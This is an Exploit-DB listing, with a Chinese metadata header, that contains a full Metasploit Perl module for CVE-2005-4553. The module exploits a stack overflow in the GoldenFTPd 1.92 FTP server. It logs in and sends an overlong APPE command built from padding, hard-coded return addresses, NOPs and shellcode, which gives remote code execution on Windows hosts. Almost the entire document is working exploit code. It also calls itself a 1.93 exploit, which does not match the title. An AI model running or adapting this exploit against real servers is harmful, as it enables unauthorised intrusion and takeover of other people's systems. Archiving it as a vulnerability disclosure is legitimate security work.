标题: Golden FTP Server 1.92 - 'APPE' Remote Overflow (Metasploit) EDB-ID: 1381 CVE: 2005-4553 类型: REMOTE 平台: WINDOWS 发布日期: 2005-12-20 漏洞利用脚本: ##
# Written by Tim Shelton [redsand@redsand.net]
# GoldenFTPd 
##

package Msf::Exploit::goldenftpd_appe;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'     => 'GoldenFTPd APPE <= 1.92 Stack Overflow',
 'Version'  => '$Revision: 1.0 $',
 'Authors'  => [ 'Tim Shelton <redsand [at] redsand.net>', ],

 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
 'Priv'  => 0,

 'AutoOpts'  => { 'EXITFUNC' => 'thread' },
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 21],
  'USER'  => [1, 'DATA', 'Username', 'anonymous'],
  'PASS'  => [1, 'DATA', 'Password', 'metasploit@'],
   },

 'Payload'  =>
   {
  'Space' => 400,
  'BadChars'  => "\x00\x0a\x0d\x20",
  'Keys' => ['+ws2ord'],
   },

 'Description'  =>  Pex::Text::Freeform(qq{
  This module exploits a stack overflow in the GoldenFTPd
 server. The flaw is triggered when a APPE command is received
 with a specially crafted overly-long argument. This vulnerability 
 affects all versions of GoldenFTPd prior to 1.92 and was discovered by
 Tim Shelton.
}),

 'Refs'  =>
   [
  ['RED-NET',   '2005-11-14-01'],
   ],

 'DefaultTarget' => 0,
 'Targets' =>
   [
  ['GoldenFTPd Server <= 1.92 Universal', 0x99998888, 0x11111111, 0x98d855eb, 0x0044395F], 
   ],

 'Keys'  => ['goldenftp'],

 'DisclosureDate' => 'NONE',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];

 if (! $self->InitNops(30)) {
  $self->PrintLine("[*] Failed to initialize the NOP module.");
  return;
 }

# my $shellcode = "\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe";


 my $evil = ("APPE /");
 $evil .= ("A/")x120;

 $evil .= (pack("V",$target->[3])) x 4;
 $evil .= (pack("V",$target->[1]) . pack("V",$target->[2]) . pack("V",$target->[4]) . pack("V", $target->[1]) ) x 4;
 $evil .= $self->MakeNops(30);
 $evil .= $shellcode;
 $evil .= "\x0a\x0d";

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
   );

 $self->PrintLine(sprintf ("[*] Universal GoldenFTPd 1.93 Exploit by redsand\n"));

 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[4]));

 my $r = $s->Recv(-1, 30);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 ($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
 $self->PrintLine("[*] $r");

 $self->PrintLine("[*] Login as " .$self->GetVar('USER'). "/" .$self->GetVar('PASS'));
 $s->Send("USER ".$self->GetVar('USER')."\r\n");
 $r = $s->Recv(-1, 10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

 $s->Send("PASS ".$self->GetVar('PASS')."\r\n");
 $r = $s->Recv(-1, 10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

 $self->PrintLine("[*] Sending evil buffer....");
 $s->Send($evil);
 $r = $s->Recv(-1, 10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print("[*] $r");
 return;
}

# milw0rm.com [2005-12-20] URL: https://www.exploit-db.com/exploits/1381